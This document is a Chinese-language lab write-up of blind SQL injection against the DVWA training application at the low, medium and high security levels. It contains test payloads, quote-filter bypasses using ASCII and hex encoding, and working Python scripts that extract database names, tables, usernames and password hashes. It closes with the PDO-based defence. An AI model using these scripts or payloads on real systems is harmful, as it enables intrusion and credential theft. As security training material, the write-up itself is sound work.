sql盲注
low
构造 1and 1=2 回显 User ID exists in the database.,说明是字符型注入
构造 1' 回显 User ID is MISSING from the database.
构造 1' -- + User ID exists in the database. ,说明执行语句 select * from [table_name]
where id=''
构造 1' and 1=2-- + 回显User ID is MISSING from the database.
综上,查询正确时,回显 User ID exists in the database.
查询为假或者语法错误时,回显 User ID is MISSING from the database.
构造 1' and ascii(substr(database(),1,1))<128 -- + 回显正常
直接上脚本,注意这里要加请求头,因为有cookie之类的
import requests
import sys
url='http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/'
headers={
"Host":"127.0.0.1",
"User-Agent": "Mozilla/5.0 (X11; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0",
"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language":"zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
"Accept-Encoding":"gzip, deflate",
"Referer":"http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/",
"Cookie":"security=low; PHPSESSID=j62fsi5l43enqvbis9rvgva7h8",
"Connection":"close",
"Upgrade-Insecure-Requests":"1"
}
#sql="1' and substr(database(),{0},1)='{1}'-- +" 爆数据库名
#sql="1' and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1)='{1}'-- +"爆表名
#sql="1' and substr((select group_concat(column_name)from information_schema.columns where table_name='users'),{0},1)='{1}' -- +"爆users中列名
#sql="1' and substr((select group_concat(password) from users),{0},1)='{1}'-- +"爆users.password中具体内容
sql="1' and substr((select group_concat(user) from users),{0},1)='{1}'-- +"爆users.user中具体内容
flag=''
for i in range(1,250):
print('guess',str(i))
for ch in range(32,129):
if ch==128:
sys.exit(0)
sqli=sql.format(i,chr(ch))
params={"id":sqli,"Submit":"Submit"}
response=requests.get(url,params=params,headers=headers).text
if "User ID exists in the database" in response:
flag+=chr(ch)
print(flag)
break
数据库:dvwa
表名:guestbook,users
users中列名:user,current_connections,total_connections,id,username,password,user_id,first_name,last_name,user,password,avatar,last_login,failed_login
users.password中具体字段:
81dc9bdb52d04dc20036dbd8313ed055,e99a18c428cb38d5f260853678922e03,8d3533d75ae2c3966d7e0d4fcc69216b,0d107d09f5bbe40cade3de5c71e9e9b7,5f4dcc3b5aa765d61d8327deb882cf99
users.user中具体字段:
admin,gordonb,1337,pablo,smithy
注意脚本跑出来的是大写,实际上是小写
medium
抓包,发现是POST提交方式,直接改id的值
构造id=1 and 1=2 回显User ID is MISSING from the database. 说明是数字型注入
构造id=1 and ascii(substr(database(),1,1))<128 回显User ID exists in the database.
构造1''''回显User ID is MISSING from the database.
综上说明
查询正确时回显User ID exists in the database.
查询为假或者语法错误时回显User ID is MISSING from the database.
import requests
import sys
url='http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/'
headers={
"Host": "127.0.0.1",
"User-Agent": "Mozilla/5.0 (X11; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
"Accept-Encoding": "gzip, deflate",
"Referer": "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/",
"Content-Type": "application/x-www-form-urlencoded",
"Content-Length": "22",
"Cookie": "security=medium; PHPSESSID=6m4uufmq1bchingfrnih933okc",
"Connection": "close",
"Upgrade-Insecure-Requests": "1"
}
#sql="1 and ascii(substr(database(),{0},1))={1}-- +"
#sql="1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1))={1}-- +"
#sql="1 and ascii(substr((select group_concat(column_name)from information_schema.columns where table_name=0x7573657273),{0},1))={1} -- +"
#sql="1 and ascii(substr((select group_concat(password) from users),{0},1))={1}-- +"
sql="1 and ascii(substr((select group_concat(user) from users),{0},1))={1}-- +"
flag=''
for i in range(1,250):
print('guess',str(i))
for ch in range(32,129):
if ch==128:
sys.exit(0)
sqli=sql.format(i,ch)
params={"id":sqli,"Submit":"Submit"}
response=requests.post(url,data=params,headers=headers).text
if "User ID exists in the database" in response:
flag+=chr(ch)
print(flag)
break
这里跟Low脚本不同的是
sql="1 and ascii(substr(database(),{0},1))={1}-- +"
sql="1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1))={1}-- +"
sql="1 and ascii(substr((select group_concat(column_name)from information_schema.columns where table_name=0x7573657273),{0},1))={1} -- +"
sql="1 and ascii(substr((select group_concat(password) from users),{0},1))={1}-- +"
sql="1 and ascii(substr((select group_concat(user) from users),{0},1))={1}-- +"
可以看到查询语句中没有出现',如果用
1 and substr(database(),{0},1)='{1}'-- +
无论如何都爆不出数据库,这时怀疑是过滤了某些字符,测试得知是单引号,然后我们写成
1 and ascii(substr(database(),{0},1))={1}-- +
实现绕过,并且在后来的
1 and ascii(substr((select group_concat(column_name)from information_schema.columns where table_name=0x7573657273),{0},1))={1} -- +
用16进制绕过'users'的分号书写
high
进去页面,我们点击那个那个按钮,弹出一个窗口
构造1 在原页面回显User ID exists in the database.
构造 1 and 1=2 在原页面回显User ID exists in the database.
构造 1' 原页面回显User ID is MISSING from the database.,并且此时返回时间有延迟
构造1' -- +原页面回显User ID exists in the database.
构造1' and 1=2 原页面回显User ID is MISSING from the database. 并且返回时间有延迟
构造1' and ascii(substr(database(),1,1))<128 -- + 原页面回显User ID exists in the database.
综上,我们猜测后台执行语句类似select * from [table_name] where id=''
查询为真时,原回显User ID exists in the database.
查询为假或者语法错误时,原页面回显User ID is MISSING from the database.
我们猜测,在弹出的框中输入的值,是控制查询语句的where字句,以怎样的方式传递,我们抓包分析
我们发现post区域id就是我们输入的值,然后再forward一下
这时cookie里多了个id值,并且是我们Post区域内的,所以可以判定在弹出内的框框里输入的值会以cookie的形式赋值给原页面,然后通过这个cookie里的id值进行查询,我们只需改变cookie里的Id值即可实现sql注入
源代码cookie-input.php
<?php
define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );
require_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';
dvwaPageStartup( array( 'authenticated', 'phpids' ) );
$page = dvwaPageNewGrab();
$page[ 'title' ] = 'Blind SQL Injection Cookie Input' . $page[ 'title_separator' ].$page[ 'title' ];
if( isset( $_POST[ 'id' ] ) ) {
setcookie( 'id', $_POST[ 'id' ]);
$page[ 'body' ] .= "Cookie ID set!<br /><br /><br />";
$page[ 'body' ] .= "<script>window.opener.location.reload(true);</script>";
}
$page[ 'body' ] .= "
<form action="#" method="POST">
<input type="text" size="15" name="id">
<input type="submit" name="Submit" value="Submit">
</form>
<hr />
<br />
<button onclick="self.close();">Close</button>";
dvwaSourceHtmlEcho( $page );
?>
可以看到将$_POST['id']设置成了一个cookie值取名为id
代码high.php
<?php
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
$html .= '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
$html .= '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
发现,将$_COOKIE['id']赋值给了$id,并执行查询语句,当我们查询为假或者语法错误时,会有一个sleep(2,4),这样从某种程度上就扰乱了时间盲注,只有当sleep(5)时,才会消除影响,但是这样时间要用很久,所以选择布尔盲注
上脚本
import requests
import sys
url='http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/'
headers={
"Host": "127.0.0.1",
"User-Agent": "Mozilla/5.0 (X11; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
"Accept-Encoding": "gzip, deflate",
"Referer": "http://127.0.0.1/dvwa/security.php",
"Connection": "close",
"Upgrade-Insecure-Requests": "1",
"Pragma": "no-cache",
"Cache-Control": "no-cache"
}
sql="1' and ascii(substr(database(),{0},1))={1}-- +"
#sql="1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1))={1}-- +"
#sql="1' and ascii(substr((select group_concat(column_name)from information_schema.columns where table_name=0x7573657273),{0},1))={1} -- +"
#sql="1' and ascii(substr((select group_concat(password) from users),{0},1))={1}-- +"
#sql="1' and ascii(substr((select group_concat(user) from users),{0},1))={1}-- +"
flag=''
for i in range(1,250):
print('guess',str(i))
for ch in range(32,129):
if ch==128:
sys.exit(0)
headers['Cookie']="id="+sql.format(i,ch)+"; security=high; PHPSESSID=6m4uufmq1bchingfrnih933okc"
response=requests.get(url,headers=headers).text
if "User ID exists in the database" in response:
flag+=chr(ch)
print(flag)
break
impossible
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
// Get results
if( $data->rowCount() == 1 ) {
// Feedback for end user
$html .= '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
$html .= '<pre>User ID is MISSING from the database.</pre>';
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
可以看到用了PDO技术,御防了sql注入